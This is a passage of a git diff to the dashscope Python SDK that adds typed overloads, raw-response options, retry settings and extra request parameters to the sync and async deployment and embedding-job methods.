def list( + self, + *, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[DeploymentList, "APIResponse"]: + """List deployments, one page at a time. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = self._client.transport.request_api( "GET", _BASE_PATH, params={"page_no": page_no, "page_size": page_size}, @@ -222,10 +470,27 @@ def list( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse_list( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_list(response_json(response)), response) + @overload def scale( self, deployed_model: str, @@ -234,8 +499,52 @@ def scale( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Deployment: - response = self._client.transport.request( + ... + + @overload + def scale( + self, + deployed_model: str, + *, + capacity: int, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def scale( + self, + deployed_model: str, + *, + capacity: int, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Deployment, "APIResponse"]: + """Resize a deployment to ``capacity`` instances. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = self._client.transport.request_api( "PUT", f"{_BASE_PATH}/{deployed_model}/scale", json={"deployed_model": deployed_model, "capacity": capacity}, @@ -243,10 +552,27 @@ def scale( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse(response_json(response)), response) + @overload def delete( self, deployed_model: str, @@ -254,19 +580,74 @@ def delete( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobStatus: - response = self._client.transport.request( + ... + + @overload + def delete( + self, + deployed_model: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def delete( + self, + deployed_model: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobStatus, "APIResponse"]: + """Delete a deployment; the job status reports the teardown. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = self._client.transport.request_api( "DELETE", f"{_BASE_PATH}/{deployed_model}", sdk_module=MODULE, timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) + if raw: + return resp + resp.raise_for_status() return with_headers( - JobStatus(**flatten_envelope(response_json(response))), - response, + _parse_status( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) def stream_events( @@ -276,6 +657,10 @@ def stream_events( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> Iterator[DeploymentEvent]: response = self._client.transport.open_stream( "GET", @@ -284,18 +669,30 @@ def stream_events( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) try: for is_error, status_code, data in _iter_sse(response): if is_error: if self._client.raise_on_error: raise _stream_error(status_code, data) - yield DeploymentEvent( - output=_try_json(data), + yield _parse_event( + data, is_error=True, + strict=self._client.config.strict_validation, + response=response, ) return - yield DeploymentEvent(output=_try_json(data)) + yield _parse_event( + data, + strict=self._client.config.strict_validation, + response=response, + ) finally: response.close() @@ -304,6 +701,7 @@ class AsyncDeployments: def __init__(self, client) -> None: self._client = client + @overload async def create( self, *, @@ -318,7 +716,63 @@ async def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Deployment: + ... + + @overload + async def create( + self, + *, + model: str, + capacity: int, + model_version: Optional[str] = None, + suffix: Optional[str] = None, + plan: Optional[str] = None, + template_id: Optional[str] = None, + deploy_spec: Optional[Dict[str, Any]] = None, + billing_method: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def create( + self, + *, + model: str, + capacity: int, + model_version: Optional[str] = None, + suffix: Optional[str] = None, + plan: Optional[str] = None, + template_id: Optional[str] = None, + deploy_spec: Optional[Dict[str, Any]] = None, + billing_method: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Deployment, "APIResponse"]: + """Create a deployment of ``model`` with ``capacity`` instances. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ body = _build_create_body( model, capacity, @@ -329,7 +783,7 @@ async def create( deploy_spec, billing_method, ) - response = await self._client.transport.request( + resp = await self._client.transport.request_api( "POST", _BASE_PATH, json=body, @@ -337,10 +791,27 @@ async def create( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse(response_json(response)), response) + @overload async def get( self, deployed_model: str, @@ -348,18 +819,77 @@ async def get( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Deployment: - response = await self._client.transport.request( + ... + + @overload + async def get( + self, + deployed_model: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def get( + self, + deployed_model: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Deployment, "APIResponse"]: + """Fetch one deployment by ``deployed_model`` id. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = await self._client.transport.request_api( "GET", f"{_BASE_PATH}/{deployed_model}", sdk_module=MODULE, timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse(response_json(response)), response) + @overload async def list( self, *, @@ -368,8 +898,52 @@ async def list( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> DeploymentList: - response = await self._client.transport.request( + ... + + @overload + async def list( + self, + *, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def list( + self, + *, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[DeploymentList, "APIResponse"]: + """List deployments, one page at a time. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = await self._client.transport.request_api( "GET", _BASE_PATH, params={"page_no": page_no, "page_size": page_size}, @@ -377,10 +951,27 @@ async def list( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse_list( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse_list(response_json(response)), response) + @overload async def scale( self, deployed_model: str, @@ -389,8 +980,52 @@ async def scale( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Deployment: - response = await self._client.transport.request( + ... + + @overload + async def scale( + self, + deployed_model: str, + *, + capacity: int, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def scale( + self, + deployed_model: str, + *, + capacity: int, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Deployment, "APIResponse"]: + """Resize a deployment to ``capacity`` instances. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = await self._client.transport.request_api( "PUT", f"{_BASE_PATH}/{deployed_model}/scale", json={"deployed_model": deployed_model, "capacity": capacity}, @@ -398,10 +1033,27 @@ async def scale( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse(response_json(response)), response) + @overload async def delete( self, deployed_model: str, @@ -409,19 +1061,74 @@ async def delete( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobStatus: - response = await self._client.transport.request( + ... + + @overload + async def delete( + self, + deployed_model: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def delete( + self, + deployed_model: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobStatus, "APIResponse"]: + """Delete a deployment; the job status reports the teardown. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ + resp = await self._client.transport.request_api( "DELETE", f"{_BASE_PATH}/{deployed_model}", sdk_module=MODULE, timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) + if raw: + return resp + resp.raise_for_status() return with_headers( - JobStatus(**flatten_envelope(response_json(response))), - response, + _parse_status( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) async def stream_events( @@ -431,6 +1138,10 @@ async def stream_events( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> AsyncIterator[DeploymentEvent]: response = await self._client.transport.open_stream( "GET", @@ -439,17 +1150,29 @@ async def stream_events( timeout=timeout, api_key=api_key, workspace=workspace, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), ) try: async for is_error, status_code, data in _aiter_sse(response): if is_error: if self._client.raise_on_error: raise _stream_error(status_code, data) - yield DeploymentEvent( - output=_try_json(data), + yield _parse_event( + data, is_error=True, + strict=self._client.config.strict_validation, + response=response, ) return - yield DeploymentEvent(output=_try_json(data)) + yield _parse_event( + data, + strict=self._client.config.strict_validation, + response=response, + ) finally: await response.aclose() diff --git a/dashscope/resources/embeddings.py b/dashscope/resources/embeddings.py index 7ae803c4..09a86df2 100644 --- a/dashscope/resources/embeddings.py +++ b/dashscope/resources/embeddings.py @@ -156,6 +156,7 @@ class EmbeddingJobs: def __init__(self, client) -> None: self._jobs = Jobs(client, _BATCH_SERVICE, MODULE) + @overload def create( self, *, @@ -169,11 +170,53 @@ def create( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: + ... + + @overload + def create( + self, + *, + model: str, + file_url: str, + text_type: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def create( + self, + *, + model: str, + file_url: str, + text_type: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: """Submit a batch task over one file whose lines are the texts. Singular, unlike ``asr.transcribe(file_urls=)``: this endpoint accepts exactly one file. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying call before any error check. """ if not file_url: raise ValueError("file_url must not be empty") @@ -190,8 +233,11 @@ def create( extra_headers=extra_headers, extra_query=extra_query, extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload def fetch( self, task_id: str, @@ -202,7 +248,45 @@ def fetch( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: + ... + + @overload + def fetch( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def fetch( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Fetch one task snapshot. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying call before any error check. + """ return self._jobs.fetch( task_id, api_key=api_key, @@ -211,8 +295,11 @@ def fetch( extra_headers=extra_headers, extra_query=extra_query, extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload def cancel( self, task_id: str, @@ -223,8 +310,45 @@ def cancel( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: - """Cancel a PENDING task (``POST /tasks/{task_id}/cancel``).""" + ... + + @overload + def cancel( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def cancel( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Cancel a PENDING task (``POST /tasks/{task_id}/cancel``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying call before any error check. + """ return self._jobs.cancel( task_id, api_key=api_key, @@ -233,8 +357,11 @@ def cancel( extra_headers=extra_headers, extra_query=extra_query, extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload def list( # pylint: disable=redefined-builtin self, *, @@ -252,8 +379,59 @@ def list( # pylint: disable=redefined-builtin extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobList: - """List async tasks (``GET /tasks``).""" + ... + + @overload + def list( # pylint: disable=redefined-builtin + self, + *, + start_time: Optional[str] = None, + end_time: Optional[str] = None, + model_name: Optional[str] = None, + api_key_id: Optional[str] = None, + region: Optional[str] = None, + status: Optional[str] = None, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def list( # pylint: disable=redefined-builtin + self, + *, + start_time: Optional[str] = None, + end_time: Optional[str] = None, + model_name: Optional[str] = None, + api_key_id: Optional[str] = None, + region: Optional[str] = None, + status: Optional[str] = None, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobList, "APIResponse"]: + """List async tasks (``GET /tasks``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying call before any error check. + """ return self._jobs.list( start_time=start_time, end_time=end_time, @@ -269,6 +447,8 @@ def list( # pylint: disable=redefined-builtin extra_headers=extra_headers, extra_query=extra_query, extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) def wait( @@ -283,6 +463,7 @@ def wait( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, _sleep: Optional[Callable[[float], Any]] = None, ) -> Job: return self._jobs.wait( @@ -295,6 +476,7 @@ def wait( extra_headers=extra_headers, extra_query=extra_query, extra_body=extra_body, + max_retries=max_retries, _sleep=_sleep, ) @@ -303,6 +485,7 @@ class AsyncEmbeddingJobs: def __init__(self, client) -> None: self._jobs = AsyncJobs(client, _BATCH_SERVICE, MODULE) + @overload async def create( self, *, @@ -316,7 +499,54 @@ async def create( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: + ... + + @overload + async def create( + self, + *, + model: str, + file_url: str, + text_type: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def create( + self, + *, + model: str, + file_url: str, + text_type: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Submit a batch task over one file whose lines are the texts. + + Singular, unlike ``asr.transcribe(file_urls=)``: this endpoint + accepts exactly one file. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying call before any error check. + """ if not file_url: raise ValueError("file_url must not be empty") merged = dict(parameters or {}) @@ -332,8 +562,11 @@ async def create( extra_headers=extra_headers, extra_query=extra_query, extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload async def fetch( self, task_id: str, @@ -344,7 +577,45 @@ async def fetch( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: + ... + + @overload + async def fetch( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def fetch( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Fetch one task snapshot. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying call before any error check. + """ return await self._jobs.fetch( task_id, api_key=api_key, @@ -353,8 +624,11 @@ async def fetch( extra_headers=extra_headers, extra_query=extra_query, extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload async def cancel( self, task_id: str, @@ -365,8 +639,45 @@ async def cancel( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: - """Cancel a PENDING task (``POST /tasks/{task_id}/cancel``).""" + ... + + @overload + async def cancel( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def cancel( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Cancel a PENDING task (``POST /tasks/{task_id}/cancel``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying call before any error check. + """ return await self._jobs.cancel( task_id, api_key=api_key, @@ -375,8 +686,11 @@ async def cancel( extra_headers=extra_headers, extra_query=extra_query, extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload async def list( # pylint: disable=redefined-builtin self, *, @@ -394,8 +708,59 @@ async def list( # pylint: disable=redefined-builtin extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobList: - """List async tasks (``GET /tasks``).""" + ... + + @overload + async def list( # pylint: disable=redefined-builtin + self, + *, + start_time: Optional[str] = None, + end_time: Optional[str] = None, + model_name: Optional[str] = None, + api_key_id: Optional[str] = None, + region: Optional[str] = None, + status: Optional[str] = None, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def list( # pylint: disable=redefined-builtin + self, + *, + start_time: Optional[str] = None, + end_time: Optional[str] = None, + model_name: Optional[str] = None, + api_key_id: Optional[str] = None, + region: Optional[str] = None, + status: Optional[str] = None, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobList, "APIResponse"]: + """List async tasks (``GET /tasks``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying call before any error check. + """ return await self._jobs.list( start_time=start_time, end_time=end_time, @@ -411,6 +776,8 @@ async def list( # pylint: disable=redefined-builtin extra_headers=extra_headers, extra_query=extra_query, extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) async def wait( @@ -425,6 +792,7 @@ async def wait( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: 